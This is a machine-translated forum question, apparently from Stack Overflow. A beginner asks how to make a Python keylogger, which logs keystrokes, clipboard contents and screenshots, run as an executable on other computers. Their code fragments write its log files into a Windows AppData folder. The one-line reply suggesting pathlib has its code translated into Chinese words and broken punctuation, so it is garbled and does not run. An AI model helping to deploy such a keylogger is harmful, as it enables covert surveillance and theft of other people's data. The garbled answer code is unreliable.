如何让这个文件在另一台计算机上执行-如何有一个可更改的路径



我正在尝试制作一个键盘记录程序,它在我的计算机上运行,但当我将其转换为可执行文件时,它会给我一个错误"Python未能执行脚本keylogger";我认为这是一个路径问题,因为它是静态的,每台计算机都有一个不同的目录,我是一个初学者,我需要一些帮助。

files = ["log.txt", "info.txt", "clipboard.txt", "screenshot.png"]
dir_path=r"C:/Users/messa/Desktop/Python keylogger/"
##This function to take a screenshot---------------
def takess():
im = ImageGrab.grab()
im.save(dir_path+ "/" + "screenshot.png")
## i have multiple functions tell me if this is not enough .

我的解决方案想法:我试图检查这个路径,如果它不存在,我会创建它,在创建目录后,我想在这个目录中创建文件,但它给了我一个权限错误"PermissionError:[Erno 13]权限被拒绝:";

extend = "\"
dir_path="C:\Users\Default\AppData\Local"
Path(dir_path).mkdir(parents=True, exist_ok=True)
files = ["log.txt", "info.txt", "clipboard.txt", "screenshot.png"]
for file in files:
f= open(dir_path + extend + file, "w+")
f.close()

您可以使用pathlib模块来获取存储位置

导入pathlib

dir_path=路径库。Path((.absolute((

相关内容

最新更新